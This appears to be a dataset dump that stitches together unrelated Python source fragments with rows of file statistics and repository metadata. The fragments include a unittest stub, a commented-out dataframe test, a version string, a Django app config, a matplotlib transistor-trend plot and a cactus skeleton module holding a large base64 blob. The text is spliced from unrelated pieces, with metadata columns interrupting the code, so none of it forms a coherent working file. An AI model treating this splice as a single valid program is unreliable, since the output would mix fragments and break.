Retrieve a Roundup Setting # noqa: E501
"""
pass
def test_get_roundup_using_get(self):
"""Test case for get_roundup_using_get
Retrieve a Roundup # noqa: E501
"""
pass
def test_update_roundup_settings_using_put(self):
"""Test case for update_roundup_settings_using_put
Update a roundup settings # noqa: E501
"""
pass
if __name__ == '__main__':
unittest.main()
| 23.142857
| 73
| 0.660494
| 267
| 2,106
| 4.876404
| 0.247191
| 0.16129
| 0.067588
| 0.092166
| 0.641321
| 0.398618
| 0.368664
| 0.304916
| 0.160522
| 0
| 0
| 0.023964
| 0.266857
| 2,106
| 90
| 74
| 23.4
| 0.819301
| 0.432099
| 0
| 0.321429
| 1
| 0
| 0.008122
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.357143
| false
| 0.321429
| 0.178571
| 0
| 0.571429
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
7863e2dd042213488c755ae3e77694d752809c20
| 5,647
|
py
|
Python
|
tests/buildframe_test.py
|
SeBassTian23/Visual-Phenomics-Python
|
1ce9f2fff6bf47a7a4a2c9059eb534348b65b2b6
|
[
"MIT"
] | null | null | null |
tests/buildframe_test.py
|
SeBassTian23/Visual-Phenomics-Python
|
1ce9f2fff6bf47a7a4a2c9059eb534348b65b2b6
|
[
"MIT"
] | null | null | null |
tests/buildframe_test.py
|
SeBassTian23/Visual-Phenomics-Python
|
1ce9f2fff6bf47a7a4a2c9059eb534348b65b2b6
|
[
"MIT"
] | null | null | null |
"""
Test file corresponding with photosynq_py.buildframe
"""
from unittest import TestCase
# import pandas as pd
# import numpy as np
import visual_phenomics_py as visual_phenomics_py
class BuildframeTest(TestCase):
"""
Test class corresponding with vppy.buildframe
"""
# def setUp(self):
# """
# Load json structures taken from the photosynq API,
# as well as a corresponding csv taken from the photosynq website
# """
# self.test_info = self.load_json(
# RESOURCE_FOLDER + "1224_info_from_api")["project"]
# self.test_data = self.load_json(
# RESOURCE_FOLDER + "1224_data_from_api")["data"]
# self.resource_dataframe = pd.read_csv(
# RESOURCE_FOLDER + "1224_csv_from_website.csv", index_col=0)
# def test_build_project_dataframe(self):
# """
# Pass canned json structures to
# :func:`~photosynq_py.buildframe.build_project_dataframe`,
# and assert that the resulting dataframe matches a canned csv.
# """
# # build a dataframe
# built_dataframe = ps.build_project_dataframe(
# self.test_info, self.test_data)
# built_dataframe = built_dataframe[PS_PROTOCOL_TO_TEST]
# # assert that built dataframe "datum_id" values match the "ID" column in the csv
# csv_ids = list(self.resource_dataframe.index)
# builtDatumIds = list(built_dataframe['datum_id'])
# self.assertListEqual(csv_ids, builtDatumIds, "build_project_dataframe() result datum_ids \
# do not match the ID column in test resources csv")
# # deubg
# print("test-resource columns: " + str(self.resource_dataframe.columns));
# print("built dataframe columns: " + str(built_dataframe.columns));
# # iterate through each relevant column in the csv
# for header in self.resource_dataframe.columns:
# if header in IGNORABLE_CSV_HEADERS:
# continue
# # assert that the column header exists in the built dataframe
# self.assertIn(header, built_dataframe.columns,
# "buildProjectDataFrame() result is missing header \"{0}\", \
# which is present in test resources csv".format(header))
# # assert that this column's contents match between the csv and the built dataframe
# (csv_col_data, built_col_data) = self.extract_column_data(
# header, built_dataframe)
# self.assert_columns_match(csv_col_data, built_col_data, header)
# def assert_columns_match(self, csv_col_data, built_col_data, header):
# """
# Assert that the two given lists/arrays are equivalent, accounting for the type of data they contain
# """
# # for numerical arrays, use a numpy testing method that allows for insignifcant differences due to number formatting
# if isinstance(built_col_data, np.ndarray):
# np.testing.assert_array_almost_equal(csv_col_data, built_col_data,
# err_msg="buildProjectDataFrame() result \"{0}\" numerical values do not match \
# the corresponding column in the test resources csv".format(header))
# # otherwise, assert that the two lists are exactly the same
# else:
# self.assertListEqual(csv_col_data, built_col_data,
# "buildProjectDataFrame() result \"{0}\" values do not match the \
# corresponding column in the test resources csv".format(header))
# def extract_column_data(self, header, built_dataframe):
# """
# Extract data for one column into a common format, from both the canned csv dataframe and the given dataframe generated from json structures.
# """
# # retrieve raw column contents from both the canned csv and the dataframe generated from json
# csv_col_data = list(self.resource_dataframe[header])
# built_col_data = list(built_dataframe[header][:])
# # if necessary, convert time data to a common format
# if header == "time":
# csv_col_data = [datetime.strptime(
# x, '%m/%d/%Y %I:%M %p') for x in csv_col_data]
# built_col_data = [datetime.strptime(
# x, ps.TIME_FORMAT) for x in built_col_data]
# built_col_data = [datetime(x.year, x.month, x.day, x.hour, x.minute)
# for x in built_col_data]
# # if necessary, convert numerical data to numpy arrays,
# elif isinstance(built_col_data[0], Number) or isinstance(csv_col_data[0], Number):
# csv_col_data = np.asarray(
# [None if x == 'null' else x for x in csv_col_data], dtype=float)
# built_col_data = np.asarray(
# [None if x == 'null' else x for x in built_col_data], dtype=float)
# # otherwise, just replace "null" entries with None
# else:
# csv_col_data = [None if x == 'null' else x for x in csv_col_data]
# # return both sets of column contents
# return (csv_col_data, built_col_data)
# def load_json(self, file):
# """
# load a json structure from a file
# """
# with open(file, "rb") as test_info_file:
# result_bytes = test_info_file.read()
# return json.loads(result_bytes.decode('utf-8'))
| 47.058333
| 151
| 0.606694
| 685
| 5,647
| 4.80146
| 0.254015
| 0.061721
| 0.054728
| 0.036485
| 0.214351
| 0.172697
| 0.096078
| 0.079051
| 0.079051
| 0.079051
| 0
| 0.004846
| 0.305649
| 5,647
| 119
| 152
| 47.453782
| 0.833971
| 0.854082
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
78675dbb756d2c4d9ec9e8eca68b9e834462ec38
| 23
|
py
|
Python
|
recipe_scrapers/__version__.py
|
michael-golfi/recipe-scrapers
|
576bc8b92e381bf3d41ca5cb7456ccfacf613d81
|
[
"MIT"
] | null | null | null |
recipe_scrapers/__version__.py
|
michael-golfi/recipe-scrapers
|
576bc8b92e381bf3d41ca5cb7456ccfacf613d81
|
[
"MIT"
] | null | null | null |
recipe_scrapers/__version__.py
|
michael-golfi/recipe-scrapers
|
576bc8b92e381bf3d41ca5cb7456ccfacf613d81
|
[
"MIT"
] | null | null | null |
__version__ = "13.3.0"
| 11.5
| 22
| 0.652174
| 4
| 23
| 2.75
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.2
| 0.130435
| 23
| 1
| 23
| 23
| 0.35
| 0
| 0
| 0
| 0
| 0
| 0.26087
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
786c5aa9cb0c411087d561e5f52cc019ce212c1f
| 93
|
py
|
Python
|
app/enquiries/apps.py
|
uktrade/enquiry-mgmt-tool
|
547a195cb9296ad0b1dbc5c8435bfeeae9755bb4
|
[
"MIT"
] | 3
|
2020-04-03T12:16:56.000Z
|
2020-12-09T18:18:49.000Z
|
app/enquiries/apps.py
|
uktrade/enquiry-mgmt-tool
|
547a195cb9296ad0b1dbc5c8435bfeeae9755bb4
|
[
"MIT"
] | 173
|
2020-03-18T09:31:50.000Z
|
2022-03-26T04:19:41.000Z
|
app/enquiries/apps.py
|
uktrade/enquiry-mgmt-tool
|
547a195cb9296ad0b1dbc5c8435bfeeae9755bb4
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class EnquiriesConfig(AppConfig):
name = "enquiries"
| 15.5
| 33
| 0.763441
| 10
| 93
| 7.1
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.16129
| 93
| 5
| 34
| 18.6
| 0.910256
| 0
| 0
| 0
| 0
| 0
| 0.096774
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
788656a031cd884ede2e08fb039e976550b1f0bc
| 6,137
|
py
|
Python
|
Graphs/HW_1_Plot.py
|
ORFMark/Misc_Projects_and_Programs
|
8984b73f36a58e69c569ea1be4a2c193b7ba1061
|
[
"MIT"
] | null | null | null |
Graphs/HW_1_Plot.py
|
ORFMark/Misc_Projects_and_Programs
|
8984b73f36a58e69c569ea1be4a2c193b7ba1061
|
[
"MIT"
] | null | null | null |
Graphs/HW_1_Plot.py
|
ORFMark/Misc_Projects_and_Programs
|
8984b73f36a58e69c569ea1be4a2c193b7ba1061
|
[
"MIT"
] | null | null | null |
import matplotlib.pyplot as plt
import numpy as np
dates = [1971, 1972 , 1974 , 1974 , 1974 , 1974 , 1975 , 1976 , 1976 , 1978 , 1978 , 1979 , 1979 , 1981 , 1982 , 1982 , 1983 , 1984 , 1985 , 1985 , 1985 , 1986 , 1987 , 1987 , 1988 , 1988 , 1989 , 1989 , 1990 , 1991 , 1991 , 1993 , 1994 , 1994 , 1995 , 1995 , 1996 , 1997 , 1997 , 1998 , 1999 , 1999 , 1999 , 1999 , 1999 , 2000 , 2000 , 2001 , 2002 , 2002 , 2003 , 2003 , 2003 , 2004 , 2004 , 2005 , 2005 , 2006 , 2006 , 2006 , 2006 , 2006 , 2007 , 2007 , 2007 , 2007 , 2007 , 2008 , 2008 , 2008 , 2008 , 2008 , 2009 , 2010 , 2010 , 2010 , 2010 , 2010 , 2010 , 2011 , 2011 , 2011 , 2012 , 2012 , 2012 , 2012 , 2012 , 2012 , 2012 , 2012 , 2013 , 2013 , 2013 , 2013 , 2014 , 2014 , 2014 , 2014 , 2014 , 2014 , 2015 , 2015 , 2015 , 2015 , 2015 , 2015 , 2015 , 2016 , 2016 , 2016 , 2016 , 2016 , 2016 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2018 , 2018 , 2018 , 2018 , 2018 , 2018 , 2018]
transistors = [2300, 3500, 8000, 5000, 4500, 4100, 3510, 8500, 6500, 29000, 9000, 68000, 29000, 11500, 134000, 55000, 22000, 190000, 275000, 25000, 16000, 30000, 553000, 273000, 250000, 180000, 1180235, 310000, 1200000, 1350000, 35000, 3100000, 2500000, 578977, 5500000, 2500000, 4300000, 8800000, 7500000, 7500000, 27400000, 22000000, 21300000, 9500000, 111000, 42000000, 21000000, 45000000, 220000000, 55000000, 410000000, 105900000, 54300000, 592000000, 112000000, 228000000, 169000000, 1700000000, 362000000, 291000000, 241000000, 184000000, 789000000, 463000000, 411000000, 169000000, 26000000, 1900000000, 758000000, 731000000, 230000000, 47000000, 904000000, 2300000000, 2000000000, 1400000000, 1200000000, 1170000000, 1000000000, 2600000000, 2270000000, 1160000000, 5000000000, 3100000000, 2750000000, 2100000000, 1400000000, 1303000000, 1200000000, 432000000, 5000000000, 4200000000, 1860000000, 1000000000, 5560000000, 4310000000, 3000000000, 2600000000, 2000000000, 1400000000, 10000000000, 7100000000, 3990000000, 1900000000, 1750000000, 2000000000, 3000000000, 8000000000, 7200000000, 4000000000, 3300000000, 3200000000, 3000000000, 19200000000, 18000000000, 9700000000, 8000000000, 8000000000, 7000000000, 6100000000, 5500000000, 5300000000, 5300000000, 4800000000, 4800000000, 4800000000, 4300000000, 3300000000, 23600000000, 10000000000, 9000000000, 8500000000, 6900000000, 6900000000, 5500000000]
processSize = [10000, 10000, 8000, 5000, 6000, 6000, 8000, 4000, 3000, 3000, 5000, 3500, 3000, 3000, 1500, 3000, 3000, 2000, 1500, 3000, 3000, 2000, 2000, 800, 600, 1500, 1000, 1500, 650, 1000, 800, 800, 600, 700, 500, 350, 500, 350, 350, 250, 180, 250, 250, 250, 350, 180, 180, 130, 180, 130, 130, 130, 130, 130, 90, 90, 90, 90, 65, 65, 90, 65, 65, 65, 45, 65, 45, 45, 45, 45, 45, 45, 45, 45, 65, 45, 45, 32, 40, 32, 32, 32, 22, 32, 32, 32, 22, 32, 32, 32, 28, 22, 22, 28, 22, 22, 20, 22, 20, 22, 20, 22, 22, 14, 14, 14, 16, 14, 14, 16, 16, 14, 10, 14, 10, 14, 14, 14, 16, 14, 10, 10, 10, 14, 14, 14, 10, 10, 16, 7, 12, 7, 7, 7, 12]
dieArea = [12, 14, 11, 27, 20, 16, 21, 18, 20, 33, 21, 44, 33, 6, 49, 60, 9, 85, 104, 50, 30, 102, 61, 173, 87, 152, 213, 294, 218, 68.51, 307, 50, 251, 162, 195, 113, 180, 184, 118, 128, 4.8, 217, 80, 81, 421, 145, 374, 193, 101, 432, 110, 206, 143, 596, 162, 143, 221, 90, 341, 283, 107, 111, 31, 503, 258, 263, 83, 24, 346, 684, 699, 512, 567, 240, 377, 512, 434, 216, 720, 544, 597, 567, 160, 246, 315, 64, 363, 650, 256, 102, 661, 541, 128, 355, 89, 177, 678, 678, 133, 122, 96, 143.9, 683, 456, 110.00, 125, 246, 72.3, 768, 398, 696, 695, 360, 696, 96.72, 94, 94, 192, 213, 213, 89.23, 96.40, 825, 122, 350, 112, 83.27, 74.13]
dieDates = [1971, 1972 , 1974 , 1974 , 1974 , 1974 , 1975 , 1976 , 1976 , 1978 , 1978 , 1979 , 1979 , 1981 , 1982 , 1982 , 1983 , 1984 , 1985 , 1985 , 1986 , 1987 , 1988 , 1989 , 1989 , 1990 , 1991 , 1993 , 1994 , 1994 , 1995 , 1995 , 1996 , 1997 , 1997 , 1998 , 1999 , 1999 , 1999 , 1999 , 1999 , 2000 , 2000 , 2001 , 2002 , 2002 , 2003 , 2003 , 2003 , 2004 , 2004 , 2005 , 2005 , 2006 , 2006 , 2006 , 2006 , 2006 , 2007 , 2007 , 2007 , 2007 , 2007 , 2008 , 2008 , 2008 , 2008 , 2008 , 2009 , 2010 , 2010 , 2010 , 2010 , 2010 , 2010 , 2011 , 2011 , 2011 , 2012 , 2012 , 2012 , 2012 , 2012 , 2012 , 2012 , 2012 , 2013 , 2013 , 2013 , 2013 , 2014 , 2014 , 2014 , 2014 , 2014 , 2014 , 2015 , 2015 , 2015 , 2015 , 2015 , 2015 , 2016 , 2016 , 2016 , 2016 , 2016 , 2016 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2017 , 2018 , 2018 , 2018 , 2018 , 2018 , 2018]
def make_patch_spines_invisible(ax):
ax.set_frame_on(True)
ax.patch.set_visible(False)
for sp in ax.spines.values():
sp.set_visible(False)
fig, host = plt.subplots()
fig.subplots_adjust(right=0.75)
par1 = host.twinx()
par2 = host.twinx()
par2.spines["right"].set_position(("axes", 1.2))
make_patch_spines_invisible(par2)
par2.spines["right"].set_visible(True)
#scatters
p1, = host.plot(dates, transistors, "b+", linestyle = '', label="Tranistor Count")
p2, = par1.plot(dates, processSize, "ro", linestyle = '',label="Process size in nm")
p3, = par2.plot(dieDates, dieArea, "g.", linestyle = '',label="Die area in MM^2")
#best fint lines
host.plot(np.unique(dates), np.poly1d(np.polyfit(dates, transistors, 1))(np.unique(dates)))
par1.plot(np.unique(dates), np.poly1d(np.polyfit(dates, processSize, 1))(np.unique(dates)))
par2.plot(np.unique(dieDates), np.poly1d(np.polyfit(dieDates, dieArea, 1))(np.unique(dieDates)))
host.set_xlabel("Year")
host.set_ylabel("Tranistor Count")
par1.set_ylabel("Process size in nm")
par2.set_ylabel("Die area in MM^2")
host.yaxis.label.set_color(p1.get_color())
par1.yaxis.label.set_color(p2.get_color())
par2.yaxis.label.set_color(p3.get_color())
tkw = dict(size=4, width=1.5)
host.tick_params(axis='y', colors=p1.get_color(), **tkw)
par1.tick_params(axis='y', colors=p2.get_color(), **tkw)
par2.tick_params(axis='y', colors=p3.get_color(), **tkw)
host.tick_params(axis='x', **tkw)
lines = [p1, p2, p3]
host.legend(lines, [l.get_label() for l in lines], loc = 1)
plt.show();
| 98.983871
| 1,413
| 0.66205
| 939
| 6,137
| 4.29393
| 0.396166
| 0.053571
| 0.074405
| 0.09127
| 0.312748
| 0.27381
| 0.272817
| 0.263393
| 0.263393
| 0.244048
| 0
| 0.580888
| 0.1781
| 6,137
| 61
| 1,414
| 100.606557
| 0.218477
| 0.003748
| 0
| 0
| 0
| 0
| 0.020615
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.025
| false
| 0
| 0.05
| 0
| 0.075
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
78b64dfa8f0d8b089a4968eb249d4e1663c0035e
| 6,872
|
py
|
Python
|
cactus/skeleton.py
|
hzdg/Cactus
|
1b20944fcdaa68bf76623236c20c6c5486b76cf0
|
[
"BSD-3-Clause"
] | null | null | null |
cactus/skeleton.py
|
hzdg/Cactus
|
1b20944fcdaa68bf76623236c20c6c5486b76cf0
|
[
"BSD-3-Clause"
] | null | null | null |
cactus/skeleton.py
|
hzdg/Cactus
|
1b20944fcdaa68bf76623236c20c6c5486b76cf0
|
[
"BSD-3-Clause"
] | null | null | null |
data = """
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
LIK/YWYZnaTK7UfyBtsmaG3cIFVM+1p9m+UfJvE+dlQnbX1EYbgcmjYe6poZ
R6X1iy3JUkGE06nGcINpWtfJuEOB3Lwlvwlk5Sj0gmpet9omf5A14bWczQn5
LVRu5hGfAFMPsFJ4kdVrvaecYvOrPNs0LJskeQdkFa5dpsNm5ugs1cUJlAVi
C0eRF6TzBLuOQXcNwxPKBxbKvTAx75uG74Ir9D/mMFZIgTuIgeX1P9XC89+E
/vfhcYvzH/X5/V83t/9sNVXTFPrfg8Ec/a+M6gtcp/+plnWR/rWWqQn/r1Jw
lf6XmoLy8AEqfpO7pDuKQocydiPlEJW5w4HHSDrLSMIoXI8PYK6ROCRxZAeM
6xDMhhBMx8MdzP55ACPk+9uSxBI3JNRm43deGpZlkeYvpSuGvDY4ifNa8Bjp
eh88huYp9MyLq5U9vmSHyiAuZGZZbUINoQRclExLJZcVWgEFQ9o7KFbECwcK
GfpkkVaax05V0Us0Uax6qotOq6JXapaZIpZrk3wNjOGiHtazWsNzIEdQh0xn
ms1sShHkZaMqyOswo/Llmhc8E4a77w2u0v9GON7s7oaAW9j/mprQ/0rB8vv/
dLV1B/sfZLDgyw5C/7svzOt/q6L6Atfof7pm6bPvf5oh7H+lYAX630Llru8n
FFW4dDqBLoZWuG0Jzw3fbjTwKddW4gF1Q4cpYdRv0KDBD6CPG98mnnPMt/lx
o9S0Dlj9MvDHBHSncZiQUzuIpwo5GvXhLqxJ3Yie5hoc8b3u0Yj2L0ka4p4x
7+8oGQV9RjLNKPbgbiabLHShFuqN0lC4IElQBPtF8JWB2B3TOmzWyTx48U61
iRorF2os9DtPgua/N8FLe9y9Uo3FqGglpKjIPn/5N7OKLJ4EmDED+RJFt3gu
ff70G3z2bv+rp1+/23v2dO/zg1cv5dQG5wwoDGcyTI1n27hDazi0AzSuykPX
JL/jCvgGI3V+EH3vd7OLx3ntapMtV8X8U3ju78IkHiVxNcsZd+RR3+8cRgmt
Xbox1UmiaC+rG9RlUs2p4nAz21SUPo3RQyXbgQZt3iRfhAHNNup9GgZyTKIk
IFy3DygJe3zjXjr7yQBUaWeA++xcrv5fLL9DpgtDjTtta/auELJ0N6vHXC+6
8CqxnpKmEg3jiNLiESaEVMPjCwkuLOJzKq3X4eVtQLvACWmEd1E4gp9swqeG
e/5fvQ59jvszuXE576VNMsmbF8nm+2i6oeLd4UHhSv9f3CkKLOeuKsD1+j/f
/980NTwjXE/P/xDffy4FK/H/tfStpfx/m+IF4KFggf/viqi+wHX7//T0/K8p
+rcs1RL6fym4if/vP66l/r//dbMsp/x/MQV6Dz+aifKjIvwv0f93aIPWMUTt
X3Fs0HvW3ktYCyf0k2EAipfV+oQHALPADQamKk4gWQ2ukP8r4wPXyv/s/Ocp
+W+K77+Wg+Xlv741t/+Py/8Vnv/fUtuWKnYJloE5+l+59L/e/qc3Z+nfarZ0
If/LQGH/k55/8dmX6EQqrcvoZypvE/nrdDKQV9zxLZI34ZmbOYdAOEZ54rrE
JtmsQYtaPoOYEp/FxO6hUYHazoC4dOSHY1k6l6RH5IDGJBnh7sDIJu6RHfTD
YidZbPczF4Q86BBC+Ia3kY0mR2niQ8yPKmUYsMjI84hk+7jk/IkMYXnk2a1h
U7HzR3JRFHf2vKS8C26JuD4765Y4XxFMIqfR8ekiV8IFVZ0paHGlZ7KedNmn
fACKNmQtSIOn7GKPSDqo6YChBzhw+4vjyo1S6dRJIt/3uvrkfuJAngfgAKID
7STACV3qsMLMSWNeRcgS8kKHVty9CT3R8/rc61m2T1m9mzjHNK6f0i4+xn2K
2bJ3go7SWOnnaGzzGIF/aHTreRGL8zacUuJy69zAPuF26R6NYUpivBDGFpfo
uZUNKoAWtdz5OC8ibaICv3zZXM7M2BvsQqegWQyibBJsfpjEnbai1rJFefIY
KvomQJ/uyV6EfJPh9FaESbXQGOiFCSPTJWwSduyNRuigrCgVaX3aRsjr+hj7
402c7b98Pe8lHYSn1ZrisTB1aa7WNifjA89cigHZgGDfJ4xG1Rpub00HTUn3
hGa2SF7IAs+eTSJf6Jd0KwH8l8S9tly7sIVzsktzZhryKXHf3PH7j0L+o4l6
SvunURRGq/kM8NLr/1qL+/8J/f/D4xb7P9vz/r9LfP/baurC//fhYIb+V0j1
Ba7b/4nf/LpI/2arJfZ/loL3Ux46kw+/Vwj305n/SnX+cWhcp+1UUFNtHNkn
dhpamf1aePoNadSV2PaNv05tKMblX6desgK70vp13zdAB5JGgyu8qHUNs0N7
